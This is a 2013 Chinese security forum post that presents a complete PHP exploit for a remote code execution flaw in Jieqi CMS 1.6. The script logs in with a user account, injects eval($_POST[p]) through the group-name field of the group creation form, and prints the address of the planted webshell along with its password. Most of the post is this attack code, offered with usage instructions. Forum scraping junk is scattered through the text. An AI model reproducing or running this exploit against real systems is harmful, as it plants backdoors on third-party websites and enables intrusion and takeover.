找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2091|回复: 0
打印 上一主题 下一主题

Jieqi(杰奇)CMS V1.6 PHP代码执行0day漏洞EXP

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 11:28:09 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
杰奇网站管理系统(简称 JIEQI CMS,中国国家版权局著作权登记号:2006SR03382)是一套模块化的网站架设系统,具备简单灵活、性能卓越、安全可靠等特性。我们为大家提供了目前最流行的杰奇小说连载系统、杰奇原创漫画系统及数字出版解决方案,并提供各类网站定制服务。8 K: F1 [6 b. v/ V, V
7 F" F/ U/ m& V9 t# [

% \' e# z5 Q' G+ Z该系统存在多个远程安全漏洞,今天报告的这个是1.6版本的一个远程代码执行漏洞,应该有2年多历史了。# Q/ ^$ I1 l9 n
需要有一个能创建圈子的用户。' W2 K3 U0 @2 u/ Y/ l

) @/ K" b! W6 M4 j" s2 O<?php/ B: m% M8 E% M4 @0 n
5 t" _! B* T' b2 ?7 [
print_r('+ l0 u9 c4 t# {$ N+ T
+---------------------------------------------------------------------------+
, H6 H- A5 H1 i- H0 EJieqi CMS V1.6 PHP Code Injection Exploit9 l8 ?8 `- K) _5 z! G! `. k
by flyh4t
$ M% f+ W* x, N3 f/ N* l. ]( vmail: phpsec at hotmail dot com$ T+ Y, E+ ^  B6 t
team: http://www.wolvez.org/ \/ e  z, ?# O% A, k
+---------------------------------------------------------------------------+: Q" ]# y! K( N" s5 Y7 Y6 p- ~
'); /**
, ~* J/ C2 Z/ o1 U9 k * works regardless of php.ini settings
3 ~1 N6 E! _& c9 H9 p  l*/ if ($argc < 5) { print_r('
$ G, }: Q# E) d6 A) K+---------------------------------------------------------------------------+
$ r- o0 m: I+ o7 _  `# XUsage: php '.$argv[0].' host path username, N/ T. K) X6 j7 q
host:      target server (ip/hostname)
% S1 m. T2 }6 I! Tpath:      path to jieqicms
7 Y* N, M9 r- w$ |& @0 h/ x( n4 f8 l. tuasename:  a username who can create group' R# `+ X( q) B* v/ T
Example:
! [' j/ O* e5 q, d5 o2 n0 bphp '.$argv[0].' localhost /jieqicmsv1.6/ vipuser1 password
; C5 K8 d$ n) E1 \. Q" ^8 ?: g+---------------------------------------------------------------------------+; S. @- z- i  @" |
'); exit; } error_reporting(7); ini_set('max_execution_time', 0); $host = $argv[1]; $path = $argv[2]; $username = $argv[3]; $password = $argv[4]; /*get cookie*/ $cookie_jar_index = 'cookie.txt'; $url1 = "http://$host/$path/login.php"; $params = "password=$password&username=$username&usecookie=86400&submit=%26%23160%3B%B5%C7%26%23160%3B%26%23160%3B%C2%BC%26%23160%3B&action=login&jumpreferer=1"; $curl1 = curl_init(); curl_setopt($curl1, CURLOPT_URL, $url1); curl_setopt($curl1, CURLOPT_COOKIEJAR, $cookie_jar_index); curl_setopt($curl1, CURLOPT_POST, 1); curl_setopt($curl1, CURLOPT_POSTFIELDS, $params); ob_start(); $data1 = curl_exec($curl1); if ($data1 === FALSE) { echo "cURL Error: " . curl_error($ch); exit('exploit failed'); } curl_close($curl1); ob_clean(); /*get shell*/ $params ='-----------------------------232811682799610 s0 p& f2 K; _9 Q6 T( X
Content-Disposition: form-data; name="gname"2 F6 E5 m+ p3 Y2 n& y7 U

- h' ?9 s  w, q$ ^'; $params .="';"; $params .='eval($_POST[p]);//flyh4t. V5 b1 f6 @5 [* _6 @3 P
-----------------------------23281168279961
4 c$ ~4 k7 v" S* U0 nContent-Disposition: form-data; name="gcatid". Q2 {$ F& a3 _/ i' j

0 B9 d9 F1 q* Z' n) D1
" R/ E" K- k( w5 A' F-----------------------------23281168279961( l% D& y3 H1 E% D; g3 C# D
Content-Disposition: form-data; name="gaudit"
$ j7 b3 f; I; `: y
+ [, G# u5 O! \0 w$ p1* f* t5 N8 ~3 q7 W, W
-----------------------------23281168279961# r& ]8 N0 c. x; M) d( a5 M4 g
Content-Disposition: form-data; name="gbrief"! O5 F: h8 r, T' e8 X( ~
' y( P4 Q. s# @+ H# `
1
! i( m) K$ H  `% o( K/ }-----------------------------23281168279961--
6 Y8 ], y. q! s5 a# S% z'; $url2 = "http://$host/$path/modules/group/create.php"; $curl2 = curl_init(); $header =array( 'Content-Type: multipart/form-data; boundary=---------------------------23281168279961' ); curl_setopt($curl2, CURLOPT_URL, $url2); curl_setopt($curl2, CURLOPT_HTTPHEADER, $header); curl_setopt($curl2, CURLOPT_COOKIEFILE, $cookie_jar_index); curl_setopt($curl2, CURLOPT_POST, 1); curl_setopt($curl2, CURLOPT_POSTFIELDS, $params); ob_start(); curl_exec($curl2); curl_close($curl2); $resp = ob_get_contents(); //$rs就是返回的内容 ob_clean(); www.2cto.com1 d" E6 |2 \! @9 o. N

0 S: D+ d' w6 O( epreg_match('/g=([0-9]{1,4})/', $resp, $shell); //print_r($shell); //print_r($resp); $url = "http://$host/$path/files/group/userdir/0/$shell[1]/info.php"; echo "view you shell here(password:p)\r\n" ; echo $url;
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表